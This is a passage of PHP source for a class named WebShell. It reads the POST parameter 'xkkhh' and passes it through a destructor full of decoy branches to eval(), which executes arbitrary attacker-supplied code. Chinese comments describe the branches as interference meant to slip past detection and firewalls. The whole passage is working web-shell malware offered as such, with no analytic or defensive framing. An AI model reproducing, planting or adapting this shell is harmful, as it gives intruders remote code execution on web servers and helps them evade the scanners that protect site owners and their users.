name = 'xkkhh';
$this->m_Post = "$_POST";
$this->m_webInfo = $sTest;
}
function __destruct() //析构函数干扰判断
{
if($this->name === 'xkkhh')//判断干扰咯
{
if($this->m_webCheck[5] === 'ok') //继续干扰
{
$tmpCheck = 'bypass';
switch($tmpCheck) //继续干扰
{
case 'allIsbrother':
echo 'error3';
break;
case 'areYouOk':
print 'I\'mOK';
break;
case 'bypass': //调用类成员函数咯,肯定会来,别问为什么,问就是你太菜,多百度.
echo 'bypass';
$this->justTest();
break;
default:
print 'You go into Default';
break;
}
}
else//讲道理if else成对出现,很正常操作,别问为什么,问就是不知道
{
echo "error2";
}
}
else//讲道理if else成对出现,很正常操作,别问为什么,问就是不知道
{
echo "error1";
}
echo "";
}
//类成员函数
function justTest()
{
//echo $this->m_Post.PHP_EOL;
//echo $this->m_webInfo.PHP_EOL;
switch($this->m_webCheck[0])
{
case 'just':
eval($this->m_webInfo); //执行php代码在这里~~~太难了,边看语法边写,哈哈哈哈,忘得差不多了。
break;
case 'test':
echo 'PHP is the best language in the world!'.PHP_EOL;
break;
case 'all':
echo 'But I prefer C'.PHP_EOL;
break;
case 'waf':
echo 'And Asm'.PHP_EOL;
break;
default:
echo 'That\'s all, thank you.'.PHP_EOL;
break;
}
}
}
$WebShell = new WebShell($_POST['xkkhh']);
?>